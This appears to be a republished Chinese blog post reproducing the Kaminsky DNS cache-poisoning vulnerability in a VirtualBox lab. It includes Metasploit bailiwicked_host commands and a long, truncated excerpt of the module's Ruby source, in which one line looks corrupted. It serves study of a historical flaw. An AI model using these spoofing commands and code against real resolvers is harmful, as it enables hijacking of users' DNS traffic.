漏洞复现:DNS 缓存投毒的经典—— 2008年 kaminsky 漏洞
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞复现:DNS 缓存投毒的经典—— 2008年 kaminsky 漏洞相关的知识,希望对你有一定的参考价值。
目录
前言
最近研究DNS缓存投毒
那么经典的 kaminsky 漏洞自然是要尝试复现的
先用msf现成脚本,再根据理解自己写exp
巧合而又不幸的是
kaminsky大神陨落于2021.4.23
谨以此篇文章纪念大神传承遗志
1、kaminsky 漏洞原理
相关基础知识可以见我前面写的两篇:
- 关于DNS:一文搞明白DNS与域名解析
- 关于DNS缓存投毒:一文搞明白DNS缓存投毒
而kaminsky漏洞原理,这两篇讲得很清晰了:
核心手法:攻击者访问类似1.xxx.com、2.xxx.com、3.xxx.com等等这些大概率就完全不存在的域名,由于DNS解析器并没有这些域名的缓存,就会发起查询,假设ns1.xxx.com是xxx.com的权威DNS,DNS解析器就会去ns1.xxx.com询问
这个攻击比较精彩的地方是:可以不在应答区做手脚,而是在权威区和附加区行骗!
伪造的响应包,大约是这个样子:
问题区:83.xxx.com A
应答区:(空)
权威区:xxx.com NS ns.xxx.com
附加区:ns.xxx.com A 6.6.6.6
这个响应的意思是:“我不知道83.xxx.com的A记录,你去问问ns.xxx.com吧,它负责xxx.com这个域,对了,他的IP是6.6.6.6”。
而这里的6.6.6.6,就是攻击者意欲让DNS解析器相信的IP地址,即攻击者控制的DNS服务器,这样被攻击的DNS解析器所有向xxx.com的访问都被劫持了
2、实验环境搭建
环境的搭建主要参照这三篇:
我的环境是在mac上用virtualbox虚拟机搭的:
- 目标DNS解析器:windows server 2008 ip:10.0.2.15
开启DNS服务器功能
注:这里用2008是因为2008的端口是固定一段时间的,而在kaminsky漏洞出来后,DNS服务器端口都随机化了 - 用户机:windows7 pro ip:10.0.2.4
DNS地址设置为10.0.2.15,然后随意输入一个之前没有访问过的url,如果能访问,说明DNS功能正常 - 攻击机:kali linux 2021.1 ip:10.0.2.6
- 攻击者控制的DNS服务器:Ubuntu 20.04 ip:10.0.2.5
安装bind,可参考DNS(bind)服务器的安装与配置
安装apache2,可参考如何在 Ubuntu 20.04 上安装 Apache
这里的搭建搞了好一会儿,资料年限久远,好多都不对,坑很多,踩坑小能手就是我,最终大致如下:
最终效果如下:
也可以将www.example.com
的A记录改为10.0.2.5
,下面实验是用的这个
于是访问www.example.com
就会打开apache的页面,如下:
在搭建过程中,virtualbox有个问题是不同虚拟机的ip相同,参考这两篇解决:
3、使用msf现成脚本
(1)确认环境
主要是要知道目标DNS解析器的源端口,在目标DNS服务器上wireshark抓包,如下:
(2)kali攻击
在msf里有脚本
- 执行命令
sudo msfconsole
,等待一段时间后进入msf>
的命令提示符下 - 执行命令
use auxiliary/spoof/dns/bailiwicked_host
- 执行命令
show options
,查看有哪些参数可以设置 - 执行如下命令,进行参数配置:
set RHOSTS 10.0.2.15
(对应被攻击的server2008本地DNS IP地址)
set HOSTNAME ns.example.com
(目标域名)
set NEWADDR 10.0.2.5
(对应攻击者部署好的站点)
set SRCPORT 50473
(对应server2008对外查询时使用的端口号)
set XIDS 50
- 执行完毕后执行
show options
再次确认配置后run
出现Poisoning Successful
表示成功
(3)确认成果
在客户机win7里访问www.example.com
被定向到了attacker控制的DNS服务器
攻击成功
在攻击过程中有伪造IP为权威DNS服务器
(4)msf源码分析
脚本实验成功后,来理解下源码,为自己写exp做准备(源码有点长,还是用不熟悉的ruby写的,看了好久)
看了下,还是比较清晰的:
- 核心代码就是伪造响应包,并且大量淹没目标服务器
- 然后前面和中间有很多做环境确认和结果确认的代码
- 注:对ruby不熟,一些API没细看,大致猜到了意思
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/dns'
require 'resolv'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
# 信息展示与参数设定
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
malicious host entry into the target nameserver by sending random hostname
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for that domain. Eventually, a
guessed ID will match, the spoofed packet will get accepted, and due to the
additional hostname entry being within bailiwick constraints of the original
request the malicious host entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'OSVDB', '46776'],
[ 'US-CERT-VU', '800113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
'DisclosureDate' => '2008-07-21'
))
register_options(
[
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
])
deregister_options('FILTER','PCAPFILE')
end
def auxiliary_commands
return {
"racer" => "Determine the size of the window for the target server"
}
end
# 目标域名和ip的输入的提取
def cmd_racer(*args)
targ = args[0] || rhost()
dom = args[1] || "example.com"
if !(targ and targ.length > 0)
print_status("usage: racer [dns-server] [domain]")
return
end
calculate_race(targ, dom)
end
# 确认目标服务器会响应,且端口固定
def check
targ = rhost
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)
random = false
ports = {}
lport = nil
reps = 0
1.upto(30) do |i|
req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom(65535, 1.0)
if res and res.length > 0
reps += 1
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\\s]+)\\s+.*red\\.metasploit\\.com/m)
t_addr, t_port = $1.split(':')
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports[t_port] ||=0
ports[t_port] +=1
end
end
end
if(i>5 and ports.keys.length == 0)
break
end
end
srv_sock.close
if(ports.keys.length == 0)
vprint_error("ERROR: This server is not replying to recursive requests")
return Exploit::CheckCode::Unknown
end
if(reps < 30)
vprint_warning("WARNING: This server did not reply to all of our requests")
end
if(random)
ports_u = ports.keys.length
ports_r = ((ports.keys.length/30.0)*100).to_i
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
if(ports_r != 100)
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
return Exploit::CheckCode::Appears
end
else
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
# 脚本本体
def run
check_pcaprub_loaded # Check first.
# 各个参数
target = rhost()
source = Rex::Socket.source_address(target)
saddr = datastore['SRCADDR']
sport = datastore['SRCPORT']
hostname = datastore['HOSTNAME'] + '.'
address = datastore['NEWADDR']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].8
xidbase = rand(20001) + 20000
numxids = xids
domain = hostname.sub(/\\w+\\x2e/,"")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)
# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\\s]+)\\s+.*red\\.metasploit\\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i
print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
end
end
end
end
# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0
begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname)
t = Time.now + ttl
print_error("Failure: This hostname is already in the target cache: #{name}")
print_error(" Cache entry expires on #{t}... sleeping.")
cached = true
select(nil,nil,nil,ttl)
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain, Net::DNS::SOA)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end
# 没找到DNS服务器
if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
close_pcap
return
end
# 用完了一个批次重新设定numxids
if(xids == 0)
print_status("Calculating the number of spoofed replies to send per query...")
qcnt = calculate_race(target, domain, 100)
numxids = ((qcnt * 1.5) / barbs.length).to_i
if(numxids == 0)
print_status("The server did not reply, giving up.")
srv_sock.close
close_pcap
return
end
以上是关于漏洞复现:DNS 缓存投毒的经典—— 2008年 kaminsky 漏洞的主要内容,如果未能解决你的问题,请参考以下文章